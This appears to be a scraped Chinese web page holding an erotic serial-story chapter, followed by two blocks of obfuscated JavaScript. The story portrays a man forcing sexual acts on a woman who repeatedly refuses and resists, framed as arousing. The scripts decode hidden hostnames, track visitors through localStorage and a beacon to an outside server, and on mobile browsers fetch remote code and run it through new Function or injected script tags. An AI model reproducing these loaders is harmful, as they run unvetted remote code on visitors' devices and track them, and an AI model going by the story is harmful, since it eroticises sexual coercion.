“咔哒”一声,门被打开,果然是陆峰,安亚害怕至极时见到熟悉的高大身影,情不自禁地扑了上去一把抱住陆峰,越搂越紧

陆峰被这突如其来的拥抱给弄了个措手不及,顺势环抱住安亚柔软的身体,只觉怀中的娇躯不住地微微颤抖着,胸口被安亚的柔软的乳房紧紧地贴住,似乎还有两颗小豆豆顶在中间,好奇之下伸手悄悄在背上一摸,竟是一片平坦,她居然没有穿胸罩!

陆峰脑袋轰的一声响,只觉胸中一股热流直冲脑门,扶着安亚的肩膀推开,安亚不明所以,仍是一脸惊恐未定地看着他,眼眶里泛着的泪花还在打着转,一幅我见犹怜的表情让陆峰心醉不已,低头就吻了下去

安亚正自惊魂未定,好几秒才反应过来

“学长,别……不要这样……”一面躲开陆峰的嘴,一面扭动着身体想要挣脱

“安亚……我喜欢你,我喜欢你好久了,”陆峰一边说着一边追逐着安亚的双唇,同时紧紧抱住让她动弹不得

“唔唔……不要……唔唔”安亚哪里斗得过陆峰的力量,虽然不住地摇晃着脑袋,难免总被陆峰在双唇上吻来吻去

“安亚……你今天好性感,让我一整天都心神难安,满脑子想的都是你,”

陆峰一手按住安亚的后脑,喘着粗气说道,“不,我从遇见你的那一天起就是这样了,我想要没日没夜的陪着你,看着你,抱着你,吻你……做我的女朋友好不好?”

这霸道的拥抱和甜蜜的告白混着他口中香郁的酒气让安亚一阵头晕目眩,在无效地剧烈反抗了一阵后渐渐平静下来,任由陆峰的热唇如狂风骤雨般吻下见到安亚不再反抗,陆峰手上的劲道也松去一些,双手在安亚的腰间和后背不住地抚摸

两人的唿吸渐渐急促,双唇却始终不曾分开,任由对方沉重的鼻息喷在自己的脸上,安亚久未滋润的身体所积攒的情欲,在酒精和寂静的黑夜惊魂双重刺激下,渐渐燃烧,理智不可避免地让道于内心深处对异性爱抚的需求,双手不知不觉间搂上陆峰的后背,随即小腹感觉到被一根铁棒紧紧顶住,想起白天坐在它上面,不由得微微一阵颤抖,小穴处又是一阵酥麻袭来

陆峰趁热打铁,按在安亚屁股上的手把裙子一寸一寸地往上提,出乎意料的直接摸在了光滑细嫩的臀肉上,竟然内裤也没穿!

“不要……学长……不能这样做……”安亚仿佛被电击一样突然挣脱了他,急忙后退了几个小碎步

月光打在两人的脸上,安亚睁大了眼睛紧张地看着陆峰,不住地摇头,陆峰死盯着安亚没做声,却一步步慢慢靠近,将她逼进铁门内,顺手将门用力一摔,安亚惊叫一声,急忙往里面跑去,没想到刚转身没两步就“哎呀”一声被绊倒,跪倒在几层铺好的软垫上,慌忙扶着墙面站起来,陆峰已从后面一把将其抱住,右手同时从T恤下钻了进去按住了右乳

安亚正要挣扎,乳头却被手指夹住,顿时一阵电流般的刺激袭来,腿一软,双手撑墙慢慢跪在软垫上,陆峰的左手也就势伸进去按住左乳,支撑住安亚的上半身,左右开弓地在那对美乳上又是揉捏又是夹搓,安亚没有一点对抗的力气,只能由他继续对自己的肉体进行挑逗

如此弄了一小会,爽的安亚是又美又叫苦,美的是快感不断以电流的触感放射到大脑皮层,说不出的舒坦,苦的是由于一直紧咬着牙关强忍住不发出呻吟,但双乳被爱抚得越来越热,像是着了火一般,而陆峰手上的力度渐渐地让她不够满足,那股强忍的意志力已慢慢涣散

“唔唔……嗯嗯……啊啊……”终于在意志决堤那一刻,安亚脖子一仰,靠在陆峰肩上放声娇喘起来,之前被强吻是第一次沉沦,好不容易清醒了没到一分钟,这又进入第二次沉沦

“安亚……你的皮肤真的好细好滑……你的胸部也迷人……身上的味道也迷人……我已经被你迷醉了……”陆峰借势侧头对着安亚的耳朵呢喃着,深深地吸着气同时往里喷着热气

这虚情假意的情话此刻在安亚听来却如醇厚的蜜酒一般甘甜,禁不住下身一阵灼热,双腿下意识地来回磨擦,来缓解阴蒂的瘙痒,但这样的力度远远不够,反而越磨越热,越磨越痒,整个腰部都不自觉扭动起来,因此,当陆峰的手从裙子下摸到她的大腿内侧时,她想的不是自己即将被侵犯,而是盼望着那只手能尽快往上游走,到达它此刻应该出现的地方,她需要的地方

陆峰虽然不知道安亚未穿内裤的原因,但对他来说这不重要,当他试探性的将手伸进安亚双腿内侧往上摸,直摸到一片湿滑地带都没有遭到拒绝时,心中一阵狂喜,没想到她已然动情至此,也就不再跟她客气,直接摸上那心仪已久的倒三角地带,顿觉掌心按着的是一片极为柔软饱满的嫩肉,不觉浮现出白天安亚被风吹起的裙摆下那安全裤都遮不住的饱满阴阜的画面,没想到真实的触感却比想像中更为销魂,何况安亚的阴毛本来不多,又柔顺细滑,感觉就如按在刚出炉的热馒头上一般,中指却刚好卡在真馒头所没有的肉缝里,指尖感应到一颗滚烫的小肉球,知道那是要害所在,便轻轻揉搓起来,刚这么一弄,安亚突然像触电一般抖动起来

原来安亚最后一丝抵抗的理智消散时,脑中所想的就只有尽快释放这让她饥渴难耐的性欲,而那只顺着大腿徐徐而上的手更是撩得她立马就要被欲火吞噬,正苦不堪言时突然一根粗大的中指按住了她的阴蒂,这一揉搓,如同打开了她情欲的牢笼,霎时一阵极强的快感袭来,阴蒂达到了久违的高潮,并随着中指的持续按压将高潮的快感一波又一波送到全身

“呃……嗯……嗯……”安亚一边闷声哼着一边夹紧了双腿,剧烈颤抖着,带着罪恶感的性高潮持续地似乎比之前都要勐烈和长久,足足过了半分钟才渐渐消退,可陆峰的手指丝毫没有停下的迹象,而高潮刚过的阴蒂此刻正是敏感到极致的时候,这让安亚说不出的难受,只得腾出一只手来阻止陆峰,“不……不要这样……好敏感……好难受……”

陆峰的手就像钢筋一样任凭她如何用力也掰不动一分,而且由于看到安亚窘迫的样子,反而产生了一种恶趣味,手指的揉搓更快更用力了

“啊啊啊……受不了……快停下啊……啊啊啊……”安亚一手扶着墙一手不停地拍打陆峰,阴蒂胀得老大,过于敏感带来的不适也越来越强烈,令她双腿像抽筋一般抖动,酸软无力,此刻她虽然是跪在软垫上,其实身体的重量都由陆峰的另一只手在支撑,而她就像一个傀儡一般完全控制不住自己的身体,只能任由陆峰的凌辱

安亚不间断的尖叫足足持续了将近一分钟,阴蒂已经变得麻木,而这种麻木很快波及到附近的肌肉,很快,安亚就感觉不到之前的不适了,取而代之的是尿道括约肌的胀麻感,这股感觉顺着尿道往上,继而是膀胱括约肌的麻木,然后是膀胱的酸胀,那种感觉就像在梦中被尿憋醒了一般,突然间,括约肌群一失守,一股热流伴随着安亚绵长的娇喘声激射而出,打在陆峰的手上,溅得垫子上到处都是,接着便像水坝泄洪般一发不可收拾

“啊啊啊!我……我……啊……”安亚说不出这是种什么感觉,如果阴蒂的抽搐高潮是腾云驾雾,那这就是在云雾中光速飞行,必须经历一段严重不适才能获得的快感,它危险、刺激、眩晕、不真实,却让她沉浸其中,目不暇接,犹如第一次迈入快感的大观园

这阵光速般的旅行不知过了多久才停下,安亚迷离地看着软垫上的水渍,脑袋里昏沉沉一片,记不起这是哪,为什么会在这里,为什么自己会是这个样子,只听到背后的男人站起身脱裤子,随即又跪在她身后,把她两只手都搭在墙上的栏杆,又让她呈半跪状把屁股抬高,一手按在她的屁股将半边臀瓣掰开,她乖乖地配合男人的动作,这样的自己让她想起小时候玩过的洋娃娃,直到一根像刚从熔炉里取出的滚烫铁棍抵住了阴唇缓缓插入,一阵前所未有的巨大的填充感几乎要将小穴撕裂一般,这才长长地叹了一口气,眼泪也止不住地滴落下来

(待续)


上一篇:我淫荡的老婆——蓉蓉

下一篇:众星世界07-08


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};